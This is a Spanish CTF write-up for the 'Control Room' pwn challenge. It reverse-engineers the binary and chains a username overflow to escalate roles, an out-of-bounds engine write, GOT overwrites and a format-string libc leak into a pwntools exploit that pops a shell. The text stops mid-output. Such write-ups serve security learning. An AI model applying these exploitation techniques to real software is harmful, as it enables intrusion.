Control Room
17 minutos de lectura
Se nos proporciona un binario de 64 bits llamado control_room
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
Configuración del entorno
También se nos proporciona la librería remota Glibc:
$ ./libc.so.6
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 11.2.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
$ md5sum libc.so.6
3d7240354d70ebbd11911187f1acd6e8 libc.so.6
En primer lugar, es útil parchear el binario para que use la librería Glibc proporcionada. De esa manera, al desarrollar el exploit, presumiblemente funcionará en remoto sin ningún problema. Glibc 2.35 aparece en Ubuntu 22.04. La mejor manera de obtener el cargador es usar Docker:
$ docker run -v "$(pwd):/opt" --rm -it ubuntu:22.04 bash
root@78c61fd23ca8:/# md5sum /lib/x86_64-linux-gnu/libc.so.6
3d7240354d70ebbd11911187f1acd6e8 /lib/x86_64-linux-gnu/libc.so.6
root@78c61fd23ca8:/# cp /lib64/ld-linux-x86-64.so.2 /opt
root@78c61fd23ca8:/# exit
exit
$ patchelf --set-interpreter ld-linux-x86-64.so.2 control_room
$ patchelf --set-rpath . control_room
$ ldd control_room
linux-vdso.so.1 (0x00007ffe4271e000)
libc.so.6 => ./libc.so.6 (0x00007f8c612d1000)
ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007f8c614fb000)
Ahora podemos tener el mismo entorno que en remoto.
Ingeniería inversa
Podemos usar Ghidra para analizar el binario y mirar el código fuente descompilado en C:
int main() {
int ret;
size_t newline_index;
long in_FS_OFFSET;
char confirmation[4];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
setup();
confirmation = (char [4]) 0x0;
user_register();
printf("\nAre you sure about your username choice? (y/n)");
printf("\n> ");
fgets(confirmation, 4, stdin);
newline_index = strcspn(confirmation, "\n");
confirmation[newline_index] = '\0';
ret = strcmp(confirmation, "y");
if (ret == 0) {
log_message(0,"User registered successfully.\n");
} else {
user_edit();
}
menu();
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
La primera función relevante es user_register
:
void user_register() {
size_t length;
long in_FS_OFFSET;
char username[256];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
puts("<===[ Register ]===>\n");
username._0_8_ = 0;
username._8_8_ = 0;
username._16_8_ = 0;
username._24_8_ = 0;
username._32_8_ = 0;
username._40_8_ = 0;
username._48_8_ = 0;
username._56_8_ = 0;
username._64_8_ = 0;
username._72_8_ = 0;
username._80_8_ = 0;
username._88_8_ = 0;
username._96_8_ = 0;
username._104_8_ = 0;
username._112_8_ = 0;
username._120_8_ = 0;
username._128_8_ = 0;
username._136_8_ = 0;
username._144_8_ = 0;
username._152_8_ = 0;
username._160_8_ = 0;
username._168_8_ = 0;
username._176_8_ = 0;
username._184_8_ = 0;
username._192_8_ = 0;
username._200_8_ = 0;
username._208_8_ = 0;
username._216_8_ = 0;
username._224_8_ = 0;
username._232_8_ = 0;
username._240_8_ = 0;
username._248_8_ = 0;
printf("Enter a username: ");
read_input(username, 0x100);
strncpy(curr_user,username, 0x100);
length = strlen(curr_user);
*(size_t *) (curr_user + 0x108) = length + 1;
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
El programa define tres roles con diferentes habilidades (las veremos más tarde):
- Captain (
0
) - Technician (
1
) - Crew (
2
)
Por defecto, comenzamos como Crew:
$ ./control_room
<===[ Register ]===>
Enter a username: asdf
Are you sure about your username choice? (y/n)
> y
[+] User registered successfully.
┌───────────────┬────────┐
│ Control Panel │ 9A0:F3 │
├───────────────┴────────┤
│ │
│ Technician: │
│ │
│ 1. Configure Engine │
│ │
│ 2. Check Engine │
│ │
│ Captain: │
│ │
│ 3. Set route │
│ │
│ 4. View route │
│ │
│ 5. Change roles │
│ │
└────────────────────────┘
[*] Current Role: Crew
Option [1-5]:
No tenemos nada que hacer como Crew en el menú anterior. Por lo tanto, debemos poder cambiar de roles a Technician o Captain.
Roles de cambio
El número 2
de Crew se introduce en setup
:
void setup() {
setvbuf(stdin, NULL, 2, 0);
setvbuf(stdout, NULL, 2, 0);
read_banner();
memset(engines, 0, 0x80);
curr_user = malloc(0x110);
*(undefined4 *) ((long) curr_user + 0x100) = 2;
}
Entonces, la variable global curr_user
contendrá el nombre del usuario (256 bytes de longitud), luego el rol y luego la longitud. Podemos verificar esto usando GDB:
$ gdb -q control_room
Reading symbols from control_room...
(No debugging symbols found in control_room)
gef➤ run
Starting program: ./control_room
<===[ Register ]===>
Enter a username: asdf
Are you sure about your username choice? (y/n)
> y
[+] User registered successfully.
┌───────────────┬────────┐
│ Control Panel │ 9A0:F3 │
├───────────────┴────────┤
│ │
│ Technician: │
│ │
│ 1. Configure Engine │
│ │
│ 2. Check Engine │
│ │
│ Captain: │
│ │
│ 3. Set route │
│ │
│ 4. View route │
│ │
│ 5. Change roles │
│ │
└────────────────────────┘
[*] Current Role: Crew
Option [1-5]: ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7ea7992 in read () from ./libc.so.6
gef➤ x/40gx (void *) curr_user
0x408480: 0x0000000066647361 0x0000000000000000
0x408490: 0x0000000000000000 0x0000000000000000
0x4084a0: 0x0000000000000000 0x0000000000000000
0x4084b0: 0x0000000000000000 0x0000000000000000
0x4084c0: 0x0000000000000000 0x0000000000000000
0x4084d0: 0x0000000000000000 0x0000000000000000
0x4084e0: 0x0000000000000000 0x0000000000000000
0x4084f0: 0x0000000000000000 0x0000000000000000
0x408500: 0x0000000000000000 0x0000000000000000
0x408510: 0x0000000000000000 0x0000000000000000
0x408520: 0x0000000000000000 0x0000000000000000
0x408530: 0x0000000000000000 0x0000000000000000
0x408540: 0x0000000000000000 0x0000000000000000
0x408550: 0x0000000000000000 0x0000000000000000
0x408560: 0x0000000000000000 0x0000000000000000
0x408570: 0x0000000000000000 0x0000000000000000
0x408580: 0x0000000000000002 0x0000000000000005
0x408590: 0x0000000000000000 0x0000000000020a71
0x4085a0: 0x0000000000000000 0x0000000000000000
0x4085b0: 0x0000000000000000 0x0000000000000000
Como se esperaba, tenemos el nombre de usuario ("asdf"
), luego el rol (2
), y la duración del nombre de usuario (5
porque contaba el carácter de salto de línea).
Hay que tener en cuenta que tenemos la oportunidad de confirmar el nombre de usuario en user_edit
:
void user_edit() {
int size;
char *p_user;
size_t newline_index;
puts("<===[ Edit Username ]===>\n");
printf("New username size: ");
size = read_num();
getchar();
if (*(ulong *) (curr_user + 0x108) < (ulong) (long) size) {
log_message(3,"Can\'t be larger than the current username.\n");
} else {
p_user = (char *) malloc((long) (size + 1));
if (p_user == NULL) {
log_message(3,"Please replace the memory catridge.");
/* WARNING: Subroutine does not return */
exit(-1);
}
memset(p_user, 0, (long) (size + 1));
printf("\nEnter your new username: ");
fgets(p_user, size, stdin);
newline_index = strcspn(p_user, "\n");
p_user[newline_index] = '\0';
strncpy(curr_user, p_user, (long) (size + 1));
log_message(0, "User updated successfully!\n");
free(p_user);
}
}
Nótese que user_register
usa una función propia llamada read_input
, mientras que user_edit
utiliza fgets
usando la longitud actual del nombre de usuario.
Veamos qué sucede si intentamos desbordar el campo de nombre de usuario:
gef➤ pattern create
[+] Generating a pattern of 1024 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawa
aaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaa
aaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaacoaaaaaacpaaaaaacqaaaaaacraaaaaacsaaaaaactaaaaaacuaaaaaacvaaaaaacwaaaaaacxaaaaaacyaaaaaaczaaaaaadbaaaaaadcaaaaaaddaaaaaadeaaaaaadfaaaaaadgaaaaaadhaaaaaadiaaaaaadjaaaaaadkaaaaaadlaaaaaadmaaaaaadnaaaaaadoaaaaaadpaaaaaadqaaaaaadraaaaaadsaaaaaadtaaaaaaduaaaaaadvaaaaaadwaaaaaadxaaaaaadyaaaaaadzaaaaaaebaaaaaaecaaaaaaedaaaaaaeeaaaaaaefaaaaaaegaaaaaaehaaaaaaeiaaaaaaejaaaaaaekaaaaaaela
aaaaaemaaaaaaenaaaaaaeoaaaaaaepaaaaaaeqaaaaaaeraaaaaaesaaaaaaetaaaaaaeuaaaaaaevaaaaaaewaaaaaaexaaaaaaeyaaaaaaezaaaaaafbaaaaaafcaaaaaaf
[+] Saved as '$_gef0'
gef➤ run
Starting program: ./control_room
<===[ Register ]===>
Enter a username: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaa
uaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabra
aaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaacoaaa
aaacpaaaaaacqaaaaaacraaaaaacsaaaaaactaaaaaacuaaaaaacvaaaaaacwaaaaaacxaaaaaacyaaaaaaczaaaaaadbaaaaaadcaaaaaaddaaaaaadeaaaaaadfaaaaaadgaaaaaadhaaaaaadiaaaaaadjaaaaaadkaaaaaadlaaaaa
admaaaaaadnaaaaaadoaaaaaadpaaaaaadqaaaaaadraaaaaadsaaaaaadtaaaaaaduaaaaaadvaaaaaadwaaaaaadxaaaaaadyaaaaaadzaaaaaaebaaaaaaecaaaaaaedaaaaaaeeaaaaaaefaaaaaaegaaaaaaehaaaaaaeiaaaaaae
jaaaaaaekaaaaaaelaaaaaaemaaaaaaenaaaaaaeoaaaaaaepaaaaaaeqaaaaaaeraaaaaaesaaaaaaetaaaaaaeuaaaaaaevaaaaaaewaaaaaaexaaaaaaeyaaaaaaezaaaaaafbaaaaaafcaaaaaaf
Are you sure about your username choice? (y/n)
> <===[ Edit Username ]===>
New username size:
Enter your new username: [+] User updated successfully!
┌───────────────┬────────┐
│ Control Panel │ 9A0:F3 │
├───────────────┴────────┤
│ │
│ Technician: │
│ │
│ 1. Configure Engine │
│ │
│ 2. Check Engine │
│ │
│ Captain: │
│ │
│ 3. Set route │
│ │
│ 4. View route │ │ │
│ 5. Change roles │
│ │
└────────────────────────┘
[*] Current Role: Crew
Option [1-5]: selection: 0
[!] Invalid option
[Inferior 1 (process 227208) exited with code 0377]
Bueno, eso fue demasiado. Usemos exactamente 256 caracteres:
gef➤ pattern create 256
[+] Generating a pattern of 256 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawa
aaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaab
[+] Saved as '$_gef1'
gef➤ run
Starting program: ./control_room
<===[ Register ]===>
Enter a username: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaa
uaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaab
Are you sure about your username choice? (y/n)
> <===[ Edit Username ]===>
New username size: ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7ea7992 in read () from ./libc.so.6
gef➤ x/40gx (void *) curr_user
0x408480: 0x6161616161616161 0x6161616161616162
0x408490: 0x6161616161616163 0x6161616161616164
0x4084a0: 0x6161616161616165 0x6161616161616166
0x4084b0: 0x6161616161616167 0x6161616161616168
0x4084c0: 0x6161616161616169 0x616161616161616a
0x4084d0: 0x616161616161616b 0x616161616161616c
0x4084e0: 0x616161616161616d 0x616161616161616e
0x4084f0: 0x616161616161616f 0x6161616161616170
0x408500: 0x6161616161616171 0x6161616161616172
0x408510: 0x6161616161616173 0x6161616161616174
0x408520: 0x6161616161616175 0x6161616161616176
0x408530: 0x6161616161616177 0x6161616161616178
0x408540: 0x6161616161616179 0x626161616161617a
0x408550: 0x6261616161616162 0x6261616161616163
0x408560: 0x6261616161616164 0x6261616161616165
0x408570: 0x6261616161616166 0x0061616161616167
0x408580: 0x0000000000000002 0x0000000000000100
0x408590: 0x0000000000000000 0x0000000000020a71
0x4085a0: 0x0000000000000000 0x0000000000000000
0x4085b0: 0x0000000000000000 0x0000000000000000
Obsérvese que la longitud es exactamente 256 bytes (0x100
). El siguiente carácter (\n
) hizo que el programa saltara directamente a user_edit
. Esta función tiene una instrucción interesante:
memset(p_user, 0, (long) (size + 1));
Con esto, nuestro rol se actualizará a 0
(Captain) porque la longitud es 0x100
. Por lo tanto, actualicemos nuestro nombre de usuario ingresando 256 (0x100
) como nuevo tamaño y un nombre de usuario aleatorio:
gef➤ continue
Continuing.
256
Enter your new username: asdf
[+] User updated successfully!
┌───────────────┬────────┐
│ Control Panel │ 9A0:F3 │
├───────────────┴────────┤
│ │
│ Technician: │
│ │
│ 1. Configure Engine │
│ │
│ 2. Check Engine │
│ │
│ Captain: │
│ │
│ 3. Set route │
│ │
│ 4. View route │
│ │
│ 5. Change roles │
│ │
└────────────────────────┘
[*] Current Role: Captain
Option [1-5]: ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7ea7992 in read () from ./libc.so.6
gef➤ x/40gx (void *) curr_user
0x408480: 0x0000000066647361 0x0000000000000000
0x408490: 0x0000000000000000 0x0000000000000000
0x4084a0: 0x0000000000000000 0x0000000000000000
0x4084b0: 0x0000000000000000 0x0000000000000000
0x4084c0: 0x0000000000000000 0x0000000000000000
0x4084d0: 0x0000000000000000 0x0000000000000000
0x4084e0: 0x0000000000000000 0x0000000000000000
0x4084f0: 0x0000000000000000 0x0000000000000000
0x408500: 0x0000000000000000 0x0000000000000000
0x408510: 0x0000000000000000 0x0000000000000000
0x408520: 0x0000000000000000 0x0000000000000000
0x408530: 0x0000000000000000 0x0000000000000000
0x408540: 0x0000000000000000 0x0000000000000000
0x408550: 0x0000000000000000 0x0000000000000000
0x408560: 0x0000000000000000 0x0000000000000000
0x408570: 0x0000000000000000 0x0000000000000000
0x408580: 0x0000000000000000 0x0000000000000100
0x408590: 0x0000000000000000 0x0000000000000111
0x4085a0: 0x0000000000000408 0x1c4792114ee993aa
0x4085b0: 0x0000000000000000 0x0000000000000000
Perfecto, ahora somos Captain (0
). Analicemos las opciones disponibles.
Opciones de Captain
Tenemos set_route
:
void set_route() {
int ret;
size_t newline_index;
long in_FS_OFFSET;
int i;
long number[8];
char confirmation[2];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
confirmation = (char [2]) 0x0;
if (*(int *) (curr_user + 0x100) == 0) {
for (i = 0; i < 4; i = i + 1) {
printf("<===[ Coordinates [%d] ]===>\n", (ulong) (i + 1));
printf("\tLatitude : ");
__isoc99_scanf("%ld", number + (long) i * 2);
printf("\tLongitude : ");
__isoc99_scanf("%ld", number + (long) i * 2 + 1);
}
getchar();
printf("\nDo you want to save the route? (y/n) ");
printf("\n> ");
fgets(confirmation, 3, stdin);
newline_index = strcspn(confirmation, "\n");
confirmation[newline_index] = '\0';
ret = strcmp(confirmation, "y");
if (ret == 0) {
route._0_8_ = number[0];
route._8_8_ = number[1];
route._16_8_ = number[2];
route._24_8_ = number[3];
route._32_8_ = number[4];
route._40_8_ = number[5];
route._48_8_ = number[6];
route._56_8_ = number[7];
log_message(0, "The route has been successfully updated!\n");
} else {
log_message(1, "Operation cancelled");
}
} else {
log_message(3, "Only the captain is allowed to change the ship\'s route\n");
}
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
Esta función nos permite ingresar cualquier información en una variable global llamada route
. En mi opinión, esto no es muy útil.
Esta es view_route
:
void view_route() {
int i;
if (*(int *) (curr_user + 0x100) == 0) {
puts("<===[ Route ]===>");
for (i = 0; i < 4; i = i + 1) {
print_coordinates(i);
}
} else {
log_message(3,"Only the captain is allowed to view the ship\'s route.\n");
}
}
Que utiliza print_coordinates
:
void print_coordinates(int param_1) {
printf("<===[ Coordinates [%d] ]===>\n", (ulong) (param_1 + 1));
printf("\tLatitude : %ld\n", *(undefined8 *) (route + (long) param_1 * 0x10));
printf("\tLongitude : %ld\n", *(undefined8 *) (route + (long) param_1 * 0x10 + 8));
}
Básicamente imprime lo que ingresamos en route
. De nuevo, no es muy útil:
Option [1-5]: 3
selection: 3
<===[ Coordinates [1] ]===>
Latitude : 1234
Longitude : 4321
<===[ Coordinates [2] ]===>
Latitude : 2345
Longitude : 5432
<===[ Coordinates [3] ]===>
Latitude : 3456
Longitude : 6543
<===[ Coordinates [4] ]===>
Latitude : 4567
Longitude : 7654
Do you want to save the route? (y/n)
> y
[+] The route has been successfully updated!
┌───────────────┬────────┐
│ Control Panel │ 9A0:F3 │
├───────────────┴────────┤
│ │
│ Technician: │
│ │
│ 1. Configure Engine │
│ │
│ 2. Check Engine │
│ │
│ Captain: │
│ │
│ 3. Set route │
│ │
│ 4. View route │
│ │
│ 5. Change roles │
│ │
└────────────────────────┘
[*] Current Role: Captain
Option [1-5]: 4
selection: 4
<===[ Route ]===>
<===[ Coordinates [1] ]===>
Latitude : 1234
Longitude : 4321
<===[ Coordinates [2] ]===>
Latitude : 2345
Longitude : 5432
<===[ Coordinates [3] ]===>
Latitude : 3456
Longitude : 6543
<===[ Coordinates [4] ]===>
Latitude : 4567
Longitude : 7654
Hay una opción para cambiar de rol a Technician (change_role
):
void change_role() {
int role;
if (*(int *) (curr_user + 0x100) == 0) {
puts("<===[ Available roles ]===>");
puts("Technician: 1 | Crew: 2");
printf("New role: ");
role = read_num();
if ((role == 1) || (role == 0)) {
*(int *) (curr_user + 0x100) = role;
log_message(0, "New role has been set successfully!");
} else {
log_message(3, "Invalid role.");
}
} else {
log_message(3, "Only Captain is allowed to change roles.\n");
}
}
Opciones de Technician
Entonces, veamos qué opciones tenemos como Technician. Esto es configure_engine
:
void configure_engine() {
uint number;
int ret;
size_t newline_index;
long in_FS_OFFSET;
undefined8 thrust;
undefined8 mixture;
char confirmation[2];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
confirmation = (char [2]) 0x0;
if (*(int *) (curr_user + 0x100) == 1) {
printf("\nEngine number [0-%d]: ", 3);
number = read_num();
if ((int) number < 4) {
printf("Engine [%d]: \n", (ulong) number);
printf("\tThrust: ");
__isoc99_scanf("%ld", &thrust);
printf("\tMixture ratio: ");
__isoc99_scanf("%ld", &mixture);
}
getchar();
printf("\nDo you want to save the configuration? (y/n) ");
printf("\n> ");
fgets(confirmation, 3, stdin);
newline_index = strcspn(confirmation, "\n");
confirmation[newline_index] = '\0';
ret = strcmp(confirmation, "y");
if (ret == 0) {
*(undefined8 *) (engines + (long) (int) number * 0x10) = thrust;
*(undefined8 *) (engines + (long) (int) number * 0x10 + 8) = mixture;
log_message(0, "Engine configuration updated successfully!\n");
} else {
log_message(1, "Engine configuration cancelled.\n");
}
} else {
log_message(3, "Only technicians are allowed to configure the engines");
}
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
Aquí tenemos una vulnerabilidad:
*(undefined8 *) (engines + (long) (int) number * 0x10) = thrust;
*(undefined8 *) (engines + (long) (int) number * 0x10 + 8) = mixture;
Controlamos number
, thrust
y mixture
. Y number
se interpreta como int
, la única comprobación es que number < 4
:
printf("\nEngine number [0-%d]: ", 3);
number = read_num();
if ((int) number < 4) {
printf("Engine [%d]: \n", (ulong) number);
printf("\tThrust: ");
__isoc99_scanf("%ld", &thrust);
printf("\tMixture ratio: ");
__isoc99_scanf("%ld", &mixture);
}
Entonces, tenemos una escritura fuera out-of-bounds (OOB). Usando esto, podemos escribir cualquier cosa en la memoria. Por lo tanto, tenemos una primitiva de escritura de tipo write-what-where. Incluso podemos crear una función para explotar esto más tarde:
def write_what_where(p, what: Tuple[int, int], where: int):
p.sendlineafter(b'Option [1-5]: ', b'1')
p.sendlineafter(b'Engine number [0-3]: ', str((where - elf.sym.engines) // 16).encode())
p.sendlineafter(b'Thrust: ', str(what[0]).encode())
p.sendlineafter(b'Mixture ratio: ', str(what[1]).encode())
p.sendlineafter(b'Do you want to save the configuration? (y/n) \n> ', b'y')
Una cosa a considerar es que tenemos que modificar un total de 16 bytes (thrust
y mixture
).
Finalmente, veamos qué podemos hacer con check_engine
:
void check_engines() {
int i;
if (*(int *) (curr_user + 0x100) == 1) {
puts("[===< Engine Check >===]");
for (i = 0; i < 4; i = i + 1) {
if ((100 < *(long *) (engines + (long) i * 0x10)) ||
(100 < *(long *) (engines + (long) i * 0x10 + 8))) {
log_message(3, "Faulty configuration found.\n");
return;
}
log_message(0, "All engines are configured correctly.\n");
}
} else {
log_message(3, "Only technicians are allowed to check the engines.\n");
}
}
Bueno, nada realmente útil.
Estrategia de explotación
Dado que tenemos una primitiva de excritura y el binario tiene Partial RELRO, la mejor técnica para usar es sobrescribir la GOT. Como resultado, estaremos jugando con las funciones externas del binario.
Primero, necesitaremos filtrar alguna dirección dentro de Glibc para encontrar la dirección base y luego llamar a system("/bin/sh")
.
Desarrollo del exploit
Comenzaremos con este código para cambiar a Technician:
def main():
p = get_process()
p.sendlineafter(b'Enter a username: ', b'A' * 256)
p.sendlineafter(b'New username size: ', b'256')
p.sendlineafter(b'Enter your new username: ', b'asdf')
p.sendlineafter(b'Option [1-5]: ', b'5')
p.sendlineafter(b'New role: ', b'1')
p.interactive()
Fugando direcciones de memoria
Encontré una manera de filtrar una dirección de pila (stack) utilizando este procedimiento:
$ python3 solve.py
[*] './control_room'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[+] Starting local process './control_room': pid 264046
[*] Switching to interactive mode
[+] New role has been set successfully!
┌───────────────┬────────┐
│ Control Panel │ 9A0:F3 │
├───────────────┴────────┤
│ │
│ Technician: │
│ │
│ 1. Configure Engine │
│ │
│ 2. Check Engine │
│ │
│ Captain: │
│ │
│ 3. Set route │
│ │
│ 4. View route │
│ │
│ 5. Change roles │
│ │
└────────────────────────┘
[*] Current Role: Technician
Option [1-5]: $ 1
selection: 1
Engine number [0-3]: $ 9
$
Do you want to save the configuration? (y/n)
> $ y
[+] Engine configuration updated successfully!
┌────\xe2\xc0~\xa7\xd1\xfd\x7f
[*] Current Role: Technician
Option [1-5]: $
Esto es interesante pero no fue necesario.
Para filtrar direcciones dentro de Glibc, mi enfoque era usar printf
en algún lugar donde pudiera controlar el primer argumento. La única función que encontré que no rompía el programa fue free
en user_edit
. Ahora el problema es llamar user_edit
. Lo que hice fue establecer la dirección de user_edit
en la entrada de la GOT de exit
.
Entonces, usando una opción no válida, el programa irá a user_edit
, ingresaremos un payload de Format String para filtrar valores de la pila y en lugar de free
, el programa llamará a printf
, mostrando las direcciones en la pantalla. Después de eso, el programa volverá al menú.
La elección de exit
y free
fue realmente buena porque se usan muy poco en la funcionalidad principal del programa. Vamos a depurar un poco:
gdb.attach(p, 'continue')
write_what_where(p, (elf.sym.user_edit, elf.sym.user_edit), elf.got.exit)
write_what_where(p, (elf.plt.printf, elf.plt.printf), elf.got.free)
p.interactive()
$ python3 solve.py
[*] './control_room'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[+] Starting local process './control_room': pid 271041
[*] Leaked stack address: 0x7ffc032390c0
[*] running in new terminal: ['/usr/bin/gdb', '-q', './control_room', '271041', '-x', '/tmp/pwnfgdjd8xj.gdb']
[+] Waiting for debugger: Done
[*] Switching to interactive mode
[+] Engine configuration updated successfully!
┌────\xe2\xc0\x90#\x03\x7f
[*] Current Role: Technician
Option [1-5]: $
gef➤ got
GOT protection: Partial RelRO | GOT functions: 20
[0x405018] free@GLIBC_2.2.5 → 0x4011e4
[0x405020] strncpy@GLIBC_2.2.5 → 0x7f038ad1c430
[0x405028] puts@GLIBC_2.2.5 → 0x7f038abe9ed0
[0x405030] fread@GLIBC_2.2.5 → 0x7f038abe8bb0
[0x405038] fclose@GLIBC_2.2.5 → 0x7f038abe7cf0
[0x405040] strlen@GLIBC_2.2.5 → 0x7f038ad1b220
[0x405048] __stack_chk_fail@GLIBC_2.4 → 0x401090
[0x405050] printf@GLIBC_2.2.5 → 0x7f038abc9770
[0x405058] memset@GLIBC_2.2.5 → 0x7f038ad18b40
[0x405060] strcspn@GLIBC_2.2.5 → 0x7f038ad01730
[0x405068] fgets@GLIBC_2.2.5 → 0x7f038abe8400
[0x405070] strcmp@GLIBC_2.2.5 → 0x7f038ad1a960
[0x405078] getchar@GLIBC_2.2.5 → 0x7f038abf0b60
[0x405080] fprintf@GLIBC_2.2.5 → 0x7f038abc96b0
[0x405088] malloc@GLIBC_2.2.5 → 0x7f038ac0e120
[0x405090] setvbuf@GLIBC_2.2.5 → 0x7f038abea670
[0x405098] fopen@GLIBC_2.2.5 → 0x7f038abe86b0
[0x4050a0] atoi@GLIBC_2.2.5 → 0x7f038abac640
[0x4050a8] __isoc99_scanf@GLIBC_2.7 → 0x7f038abcb110
[0x4050b0] exit@GLIBC_2.2.5 → 0x4018ed
gef➤ x 0x4018ed
0x4018ed <user_edit>: 0xfa1e0ff3
gef➤ x 0x4011e4
0x4011e4 <printf@plt+4>: 0x6525fff2
Muy bien, así que si usamos una opción no válida, iremos user_edit
, Y nuestro nombre de usuario irá a printf
:
Option [1-5]: $ 0
selection: 0
[!] Invalid option
<===[ Edit Username ]===>
New username size: $ 200
Enter your new username: $ %lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.
[+] User updated successfully!
7ffc03236f60.0.7f038ac7da37.2b.7fffffff.100032390c0.1ce75a0.7ffc032390e0.4020ba.10000000000.0.7ffc03239110.40218c.7ffc03239228.100000000.4100000000.38550201c8808c00.1.7f038ab92d90.0.4020bf.100000000.7ffc03239228.0.91ff312e9fcd604e.
┌────\xe2\xc0\x90#\x03\x7f
[*] Current Role: Technician
Option [1-5]: $
Perfecto, tenemos una dirección Glibc en el tercer lugar. Veamos qué función es la que usa en GDB:
gef➤ x 0x7f038ac7da37
0x7f038ac7da37 <write+23>: 0xf0003d48
Vale, write+23
. Con esto, ahora podemos calcular la dirección base de Glibc:
p.sendlineafter(b'Option [1-5]: ', b'0')
p.sendlineafter(b'New username size: ', b'200')
p.sendlineafter(b'Enter your new username: ', b'%3$lx')
p.recvuntil(b'User updated successfully!\n\n')
write_addr = int(p.recvline().decode()[:12], 16) - 23
p.info(f'Leaked write() address: {hex(write_addr)}')
glibc.address = write_addr - glibc.sym.write
p.success(f'Glibc base address: {hex(glibc.address)}')
p.interactive()
Y todo funciona sin problemas ya que la dirección Glibc se ve bien (termina en 000
):
$ python3 solve.py
[*] './control_room'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[+] Starting local process './control_room': pid 276836
[*] Leaked stack address: 0x7ffc63012350
[*] Leaked write() address: 0x7f39268c1a20
[+] Glibc base address: 0x7f39267ad000
[*] Switching to interactive mode
┌────\xe2P#c\xfc
[*] Current Role: Technician
Option [1-5]: $
Obteniendo RCE
En este punto, podemos sobrescribir la GOT nuevamente para establecer free
a system
e introducir /bin/sh
como nombre de usuario:
write_what_where(p, (glibc.sym.system, glibc.sym.system), elf.got.free)
p.sendlineafter(b'Option [1-5]: ', b'0')
p.sendlineafter(b'New username size: ', b'200')
p.sendlineafter(b'Enter your new username: ', b'/bin/sh\0')
p.recv()
p.interactive()
Y con esto, tenemos una shell:
$ python3 solve.py
[*] './control_room'
Arch: amd64-64-little
